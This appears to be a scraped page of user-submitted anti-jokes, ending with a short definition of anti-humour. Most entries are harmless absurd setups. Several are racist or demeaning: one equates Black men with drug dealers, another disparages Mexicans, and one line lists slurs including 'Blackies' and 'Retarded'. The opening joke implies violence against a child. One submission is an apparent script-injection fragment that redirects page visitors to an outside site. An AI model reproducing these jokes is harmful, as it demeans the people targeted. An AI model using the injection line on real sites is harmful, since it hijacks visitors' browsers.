A man and a six year old boy are walking along a path through the woods on a moonless night. "Gee mister, I'm scared!" says the boy. "You're scared?" says the man. "I have to walk back alone!"

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Why did the chicken cross the road. ... It didn't.

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yo mamas so ugly.... everyone died. the end.

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What did the cricket say to the fox? Cricket.

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what do u call a black guy who sells drugs a pharmacist

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What's the difference between an apple and a banana? One's an apple.

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"'>document.location.href="http://cramik.org"

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A young Asian boy got a B on his test. He went home an showed his parents even though he was nervous of their reaction. They told him that a B was a good grade and put it on the fridge. After that he began to gradually flunk each class one by one because of his parent's inability to push him to be better. He is now homeless and an alcoholic.

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My ex wife looks like a pitbull.

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Aids, Black People, Cancer, Death, Retarded, Drunk, Sex, Black People, Holocaust, Blackies, White People, BLACK

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why wuz 6 afraid of 7 7 had a gun

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What's brown and sits in the woods? Winnie's poo

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A duck walks up to a lemonade stand. He didn't say anything because ducks can't talk.

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once upon a time jess was happy this once upon a time was a very long time ago, BABADOOK !

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What happened to the lady living in the present, crossing a street? Let's watch her and find out.

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What did the prosecuting attorney say to the defense attorney? I hate you.

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So this guy walks into a bar and– Nevermind it's really not that funny.

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Violets are blue and/or violet Roses are red so's my blood, see?

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WHATS FASTER THAN INTERNET BUSTA RYMES

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Three friends were walking to school, they all looked in front of them and ran away. What did they see? A 200 ft dragon eating their school.

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What is green, has four legs, and if it falls out of a tree and onto your head, it will kill you? A pool table.

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a cow walked into a bar and asked for a large whiskey on the rocks, 'long day, eh' said the barman, 'yes' replied the cow, 'first a large moving obstical was cutting down my food, and then my friend was raped from his milk.'

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What happened to the little girl who fell into the lake? She was rescued and made a complete recovery.

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What's the difference between a Mexican and a bench? Almost everything.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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